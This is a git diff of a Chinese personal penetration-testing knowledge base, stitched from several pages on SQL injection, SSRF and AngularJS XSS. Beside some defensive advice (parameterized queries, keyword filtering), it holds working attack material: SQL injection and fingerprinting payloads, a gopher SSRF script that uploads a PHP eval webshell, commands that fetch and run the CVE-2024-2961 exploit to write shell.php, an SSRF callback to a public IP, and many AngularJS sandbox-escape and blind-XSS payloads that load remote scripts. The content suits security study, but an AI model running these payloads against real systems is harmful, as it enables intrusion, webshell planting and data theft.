SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

+

产生原因​

+

SQL注入产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验(类型、长度、业务参数合法性、敏感字符等),同时没有对用户输入数据进行有效地特殊字符过滤,使得用户的输入直接带入数据库执行,超出了SQL语句原来设计的预期结果,导致了SQL注入漏洞。

+

注入举例​

+
+

通过万能密码的举例,来简单讲解SQL注入

+
+
<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
+

用户名username和密码password均来自于用户的直接传入,无任何过滤,后直接拼接到SQL语句中。

+

正常用户登录是,正常sql语句为:

+
select * from users where username = 'admin' and password='password'
+

攻击者带恶意的SQL语句输入的用户名为admin,密码为123' or 1 = 1 --+ ,因为 1=1 永真,所以也就会登录成功

+

应用场景​

+

SQL注入漏洞可能出现在一切与数据库交互的地方,常见举例如下(主要还是存在于增删改查四个字上):

+
+

简而言之:所有和数据库交互的点均可能存在SQL注入

+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
关键字功能举例
增注册新用户、创建订单、添加文章……
删删除用户、删除订单……
改修改订单、更新用户信息……
查查询信息、筛选订单、搜索文章……
+

关系、非关系数据库​

+

关系型数据库(SQL)​

+

什么是(SQL)关系型数据库​

+
+

关系型数据库指的是使用关系模型(二维表格模型)来组织数据的数据库。

+
+

什么是关系模型​

+
+

关系模型可以简单理解为二维表格模型,而一个关系型数据库就是由二维表及其之间的关系组成的一个数据组织。

+
+

常见关系型数据库管理系统(ORDBMS)​

+
    +
  1. Oracle
  2. +
  3. MySql
  4. +
  5. Microsoft SQL Server
  6. +
  7. SQLite
  8. +
  9. PostgreSQL
  10. +
  11. IBM DB2
  12. +
+

关系型数据库的优势​

+
    +
  1. 采用二维表结构非常贴近正常开发逻辑(关系型数据模型相对层次型数据模型和网状型数据模型等其他模型来说更容易理解);
  2. +
  3. 支持通用的SQL(结构化查询语言)语句;
  4. +
  5. 丰富的完整性大大减少了数据冗余和数据不一致的问题。并且全部由表结构组成,文件格式一致;
  6. +
  7. 可以用SQL句子多个表之间做非常繁杂的查询;
  8. +
  9. 关系型数据库提供对事务的支持,能保证系统中事务的正确执行,同时提供事务的恢复、回滚、并发控制和死锁问题的解决。
  10. +
  11. 数据存储在磁盘中,安全可靠。
  12. +
+

关系型数据库的劣势​

+
+

随着互联网企业的不断发展,数据日益增多,因此关系型数据库面对海量的数据会存在很多的不足。

+
+
    +
  1. 高并发读写能力差:网站类用户的并发性访问非常高,而一台数据库的最大连接数有限,且硬盘 I/O 有限,不能满足很多人同时连接。
  2. +
  3. 海量数据情况下读写效率低:对大数据量的表进行读写操作时,需要等待较长的时间等待响应。
  4. +
  5. 可扩展性不足:不像web server和app server那样简单的添加硬件和服务节点来拓展性能和负荷工作能力。
  6. +
  7. 数据模型灵活度低:关系型数据库的数据模型定义严格,无法快速容纳新的数据类型(需要提前知道需要存储什么样类型的数据)。
  8. +
+

非关系型数据库(NOSQL)​

+

什么是(NOSQL)非关系型数据库:​

+
+

非关系型数据库又被称为 NoSQL(Not Only SQL ),意为不仅仅是 SQL。通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定,常用于存储非结构化的数据。

+
+

常见的NOSQL数据库​

+
    +
  1. 键值数据库:Redis、Memcached、Riak
  2. +
  3. 列族数据库:Bigtable、HBase、Cassandra
  4. +
  5. 文档数据库:MongoDB、CouchDB、MarkLogic
  6. +
  7. 图形数据库:Neo4j、InfoGrid
  8. +
+

非关系型数据库的优势​

+
    +
  1. 非关系型数据库存储数据的格式可以是 key-value 形式、文档形式、图片形式等。使用灵活,应用场景广泛,而关系型数据库则只支持基础类型。
  2. +
  3. 速度快,效率高。 NoSQL 可以使用硬盘或者随机存储器作为载体,而关系型数据库只能使用硬盘。
  4. +
  5. 海量数据的维护和处理非常轻松,成本低。
  6. +
  7. 非关系型数据库具有扩展简单、高并发、高稳定性、成本低廉的优势。
  8. +
  9. 可以实现数据的分布式处理。
  10. +
+

非关系型数据库的劣势​

+
    +
  1. 非关系型数据库暂时不提供 SQL 支持,学习和使用成本较高。
  2. +
  3. 非关系数据库没有事务处理,无法保证数据的完整性和安全性。适合处理海量数据,但是不一定安全。
  4. +
  5. 功能没有关系型数据库完善。
  6. +
  7. 复杂表关联查询不容易实现。
  8. +
+

漏洞危害​

+
    +
  1. 获取数据库访问权限,甚至获得DBA权限,从而获取数据库中的所有数据,造成信息泄漏;(可获取数据)
  2. +
  3. 对数据库的数据进行增加、删除、修改操作,例如删除数据库中重要数据的表(可进行增删改操作)
  4. +
  5. 通过构造特殊的数据库语句,可操作数据库进入后台或者插入木马,以获取整个网站和数据库的控制权限,篡改网页,发布不良信息等;(可获取网站权限)
  6. +
  7. 获取服务器最高权限,远程控制服务器,甚至导致局域网(内网)被入侵;(可获取服务器权限)
  8. +
+

修复建议​

+

代码层面​

+

输入过滤(正则过滤)​

+
    +
  1. 严格控制输入数据的类型;如通过id获取用户信息时,仅允许传入的id为整型
  2. +
  3. 严格控制输入数据的长度;如限制用户名长度应小于20
  4. +
  5. 输入合法性判断;禁止出现一些特殊字符或关键词,如',",\,<,>,&,*,;,#,select,from,where,sub,if,union,sleep,and,or等
  6. +
  7. 对所有可能的输入点进行判断检测,如UA、IP、Cookie等
  8. +
+

预编译SQL语句(参数化查询)​

+

参数化查询是一种查询类型,其中占位符用于填充参数,参数值在执行时提供。原理是采用了预编译的方法,先将SQL语句中可被用户控制的参数集进行编译,生成对应的临时变量集,再使用对应的设置方法,为临时变量集里面的元素进行赋值,赋值过程中会对传入的参数进行强制类型检查和安全检查。

+

所有与数据库交互的业务接口均采用参数化查询,参数化的语句使用参数而不是将用户输入变量直接嵌入到SQL语句中,参数化查询是防御SQL注入的最佳方法,比如:Java中的PreparedStatement,PHP中的PDO等。

+
预编译以及原理​
+

预编译是指在创建数据库对象时就将指定的SQL语句编译完成,这时SQL语句已经被解析、审查,所以相对传统的执行方式(每处理一个SQL语句就要解析SQL语句、检查语法和语义),预编译方式在执行数据插入、更新或者删除操作的时候,执行效率更高。

+

为什么预编译能让传入的数据只能是数据,它的底层原理是怎样的?

+

通常来说,一条SQL语句从传入到运行经历了生成语法树、执行计划优化、执行这几个阶段。在预编译过程中,数据库首先接收到带有预编译占位符?的SQL语句,解析生成语法树(Lex),并缓存在cache中,然后接收对应的参数信息,从cache中取出语法树设置参数,然后再进行优化和执行。由于参数信息传入前语法树就已生成,执行的语法结构也就无法因参数而改变,自然也就杜绝了SQL注入的出现.

+
PDO​
+

PDO针对预编译提供了两种模式:本地预编译和模拟预编译。

+

模拟预编译:本身不是一种真正的预编译,它是为了兼容不支持预编译的数据库,将用户输入的参数进行转义,拼接到数据库,由数据库正常解析执行。所以它的预编译 操作是由pdo 完成的 数据库本身没有参与预编译 并且这是PDO的默认模式

+
演示​
+

1、开启MySQL日志,查看日志

+
<?php
$hostname ='127.0.0.1';
$dbname='ctf';
$conn = new PDO( "mysql:host=$hostname;dbname=$dbname",'root','root123456');

//$sql = 'select * from admin where id =\''.$id.'\'';
$sql ="select * from admin where id =?";

$pdos = $conn ->prepare($sql);

$pdos->bindParam(1,$_GET['id']);
$pdos->execute();

var_dump($pdos->fetchAll());
+
2021-11-28T05:29:59.198823Z	    9 Connect	root@localhost on ctf using TCP/IP
2021-11-28T05:29:59.199095Z 9 Query select * from admin where id ='\''
2021-11-28T05:29:59.199806Z 9 Quit
+

如日志所示,mysql本身没有预编译操作,只有连接,查询,关闭 三个操作。

+

2、开启本地预编译模式

+
<?php
$hostname ='127.0.0.1';
$dbname='ctf';
$conn = new PDO( "mysql:host=$hostname;dbname=$dbname",'root','root123456');
$conn -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
//$sql = 'select * from admin where id =\''.$id.'\'';
$sql ="select * from admin where id =?";

$pdos = $conn ->prepare($sql);

$pdos->bindParam(1,$_GET['id']);
$pdos->execute();

var_dump($pdos->fetchAll());
+
2021-11-28T05:36:24.438190Z	   10 Connect	root@localhost on ctf using TCP/IP
2021-11-28T05:36:24.439940Z 10 Prepare select * from admin where id =?
2021-11-28T05:36:24.440013Z 10 Execute select * from admin where id ='\''
2021-11-28T05:36:24.440433Z 10 Close stmt
2021-11-28T05:36:24.440474Z 10 Quit
+

如日志所示,整个流程分为五部 连接,预编译,传入参数执行,关闭预编译语句,关闭数据库

+
0x04 危害​
+

如果使用模拟预编译模式 ,则可能会导致出现宽字节注入漏洞,二次注入漏洞(之前文章写到)

+

1、sql二次注入 - wjlin0

+

2、sql宽字节注入 - wjlin0

+
0x05 总结​
+

1、本次了解mysql的预编译处理能够使用户传入的数据只能是数据,而预编译是提前生成语法树 使其用户不能改变原有的语法结构,从而预防了SQL注入的产生。

+

2、了解了PHP的PDO两种预编译模式 本地预编译,模拟预编译 后者只是由pdo代执行‘预编译操作‘ ,不能算真正意义上的预编译,就会出现宽字节注入和二次注入的风险。而PDO默认模式就是模拟预编译,所以再执行时,最好设置

+
$PDO -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
+

3、同样的JAVA也存在类似的问题,以后学习后再补充。

+

数据库层面​

+

最小权限原则​

+

遵循最小化权限原则,严格限制网站用户的数据库的操作权限,禁止将任何高权限帐户(sa,dba、root等)用于应用程序数据库访问,从而最大限度的减少注入攻击对数据库的危害。

+

禁用敏感函数​

+

防止攻击者通过SQL注入获取到除数据库外的其他更高权限,如系统权限等;

+

比如MSSQL中,拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell等。

+

权限控制​

+

限制用户仅能够访问必须使用的数据库表。

+

统一编码​

+

网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。

+

其他层面​

+
    +
  1. 网站应避免抛出SQL语句执行过程中的错误信息,如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断;
  2. +
  3. 使用通用防注入系统,或者部署WAF等。
  4. +
+

靶场​

+ +

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html new file mode 100644 index 0000000..e044fc7 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html @@ -0,0 +1,203 @@ + + + + + +数据库识别 | wjlin0 + + + + + + + +

数据库识别

作者修订时间
wjlin02023-07-05 21:37:29
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
SLEEP函数page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格)page.php?id=' 'mysql' -- page.php?id=' and concat('some','string')
版本信息select @@version select version()
错误消息(根据返回的错误信息判断)page.php?id='
特有函数select connection_id() select last_insert_id() select row_count()
+

Oracle​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
字符串连接`page.jsp?id=''oracle' -- a`
默认表page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1
错误消息(根据返回的错误信息判断)page.jsp?id='
+

MSSQL​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
WAITFOR 函数page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断)page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=@@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=0/@@SERVERNAME
常量@@pack_received
@@rowcount
+

PostgreSQL​

+ + + + + + + + + + + + + + + + + +
描述语句
字符串连接id=1 and 'a'+'b'='a'
休眠函数page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a
+

Access​

+
+

[!Warning]

+

Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 +Access只有联合注入和布尔盲注。

+
+ + + + + + + + + + + + + + + + + +
描述语句
access无法想其他数据库那样只能去猜测数据库命......
access空白符%20,%09,%0A,%0C,%0D
+

总结经验​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法描述
常见搭配asp:sql server,Access
.net :sql server
php:PostgreSQL,Mysql
java:Oracle,Mysql
各数据库标志性信息sql server:select@@version
Oracle:select banner from v$version
mysql:select @@version,version() -- ,length(user)>0正常
postgresql:select version() --
各数据库特有的函数sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
对于字符串处理方式sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'
postgresql :id=1 and 'a'+'b'='a'
特定表mssql,postgresql,mysql:information_schema
postgresql:pg_tables =>
mssql:sysobjects
oracle:all_tables,user_tables
报错banner信息....
+

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html new file mode 100644 index 0000000..cfef510 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html @@ -0,0 +1,49 @@ + + + + + +注入判断 | wjlin0 + + + + + + + +

注入判断

+
+

[!Tip]

+

挖掘SQL注入漏洞的第一步,就是发现SQL注入漏洞,只有发现了注入点才能够继续深入利用。

+

可以通过多种方式来检测是否存在注入,最简单的就是直接在参数后加上'或者"等特殊字符让web应用程序抛出异常;但这种情况已经很少见了,比较好的方法是通过盲注来进行判断;

+
+

注入判断​

+

检测是否存在注入一般通过两种方式来判断:

+
    +
  1. 输入特殊字符是否抛出相关的异常
  2. +
  3. 输入一些语句运行后是否达到我们预期的结果(返回内容、响应时间等)
  4. +
+ + + + + + + + + + + + + + + + + + + + + +
类型语句和结果
特殊字符id=' ==> 抛出异常
逻辑算数测试id=' and 1 = 1 -- ==> True
id=' and 2 = 1 -- ==> False
id=2-1 ==> 是否返回id=1相关的内容
id=1/1 ==> True
id=1/0 ==> False或者异常
返回延时id=' and sleep(3) ==> 延时3秒甚至更久,需要根据特定的数据库函数来判断
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html new file mode 100644 index 0000000..f36ec4a --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html @@ -0,0 +1,112 @@ + + + + + +SSRF漏洞 | wjlin0 + + + + + + + +

SSRF漏洞

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:32:16
+

漏洞介绍​

+

SSRF:全称 Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

+

漏洞原理​

+

SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。漏洞URL示例: http://xxx.com/api/readFiles?url=http://10.1.11/xxx

+

漏洞利用​

+

内网访问​

+

使用http协议对内网的Web应用进行访问

+
?url=http://127.0.0.1/flag.php
+

PHP伪协议利用​

+
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
dict:// - dict
+

1.php://协议​

+
php://filter
php://input
+
php://filter​
+

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。 +payload如下:

+
php://filter/read=convert.base64-encode/resource=upload.php
+

利用CVE-2024-2961可RCE

+
php://input​
+

访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。

+
php://output​
+

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

+
php://memory&php://temp​
+

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 +php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

+
php://fd​
+

2.file://协议​

+

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。例子一,例子二 +使用方法:

+
file:// [文件的绝对路径和文件名]
file:///etc/passwd
+

ssrf poc gopher

+
import urllib.parse

a = \
"""POST /index.php HTTP/1.1
Host: 127.0.0.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997
Content-Length: 365
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="upfile"; filename="cmd.png"
Content-Type: image/png


<?php @eval($_POST['cmd']);?>
-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="submit"

上传
-----------------------------21311722966185605194227162997--
"""

tmp = urllib.parse.quote(a)
b = tmp.replace('%0A','%0D%0A')
res = '_'+b
print("gopher://127.0.0.2:8080/"+res)
+

3.phar://协议​

+

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。例子一

+
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
+

4.zlib://协议​

+
zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23
+

bzip2://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

+
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
+

zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

+
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
+

5.data://协议​

+

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下:

+
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
+

6.phar和zip​

+

https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/

+

CVE-2024-2961​

+

利用php://filter和iconv()函数2.39进行RCE

+

https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

+

在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。

+

安装依赖:

+
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
+

然后从cnext-exploit下载POC并执行:

+
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
+

1

+

可见,我们已经成功写入shell.php:

+

2

+

Gopher​

+

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

+

公网IP的VPS监听 2333 端口

+
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
+

利用 gopher 协议访问

+

浏览器直接访问或者用 curl url

+
http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello
+

收到回显

+
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 183.xxx.xxx.xxx.
Ncat: Connection from 183.xxx.xxx.xxx:9661.
hello
+

Dict​

+

因为此处 ssrf.php 的漏洞代码有回显,所以浏览器直接访问

+
http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
+

或者终端

+
curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
+

可以获取Redis的配置信息

+

Redis配置

+

同理也可以添加或者查看Redis的信息

+

查看Redis存储的内容

+

2

+

CVE-2021-21287​

+

https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html

+

Reference

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html new file mode 100644 index 0000000..dd202a4 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html @@ -0,0 +1,123 @@ + + + + + +Angular 和 AngularJS 中的 XSS | wjlin0 + + + + + + + +

Angular 和 AngularJS 中的 XSS

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:51:52
+

客户端模板注入​

+

以下有效载荷基于客户端模板注入。

+

存储/反射 XSS-AngularJS 中的简单警报​

+
+

AngularJS 从 1.6 版本起已经完全删除了沙箱

+
+

AngularJS 1.6+by马里奥 · 海德里希

+
constructor.constructor('alert(1)')()
+

AngularJS 1.6+by@ 野蛮的

+
[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41
+

示例位于https://brutelogic.com.br/xss.php

+

AngularJS 1.6.0 作者:@ 刘易斯-阿德恩&@ 加雷瑟耶斯

+
0[a='constructor'][a]('alert(1)')()
$eval.constructor('alert(1)')()
$on.constructor('alert(1)')()
+

AngularJS 1.5.9-1.5.11 作者Jan Horn

+
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
+

角度 JS 1.5.0-1.5.8

+
x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');
+

角度 JS 1.4.0-1.4.9

+
'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');
+

安格拉 JS 1.3.20

+
'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');
+

安格拉 JS 1.3.19

+

'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');

+

角度 JS 1.3.3-1.3.18

+
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//');
+

角度 JS 1.3.1-1.3.2

+

{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');

+

安格拉 JS 1.3.0

+
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);
+

角度 JS 1.2.24-1.2.29

+
'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");
+

角度 JS 1.2.19-1.2.23

+
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);
+

角度 JS 1.2.6-1.2.18

+
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()
+

角度 JS 1.2.2-1.2.5

+
'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");
+

角度 JS 1.2.0-1.2.1

+
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
+

AngularJS 1.0.1-1.1.5 和 Vue JS

+
constructor.constructor('alert(1)')()
+

高级绕过 XSS​

+

AngularJS(不带 ' 单引号和 " 双引号)

+
x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()
+

AngularJS(不带 ' 单引号和双引号以及字符串)

+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+

AngularJS 旁路晶圆〔 Imperva 〕

+
x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()
+

盲 XSS​

+

1.0.1-1.1.5&&>1.6.0 马里奥 · 海德里希(Cure53)

+

constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()

+

Lewis Ardern(Synopsys)和 Gareth Heyes(PortSwigger)的更短的 1.0.1-1.1.5&&>1.6.0

+

$on.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()

+

1.2.0-1.2.5 加雷斯 · 海耶斯(PortSwigger)

+

a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')

+

1.2.6-1.2.18 作者:Jan Horn(Cure53,现就职于 Google Project Zero)

+

(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()

+

1.2.19(火狐)作者:Mathias Karlsson

+

toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);

+

1.2.20-1.2.29 作者:Gareth Heyes(PortSwigger)

+

a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')

+

1.3.0-1.3.9 作者:Gareth Heyes(PortSwigger)

+

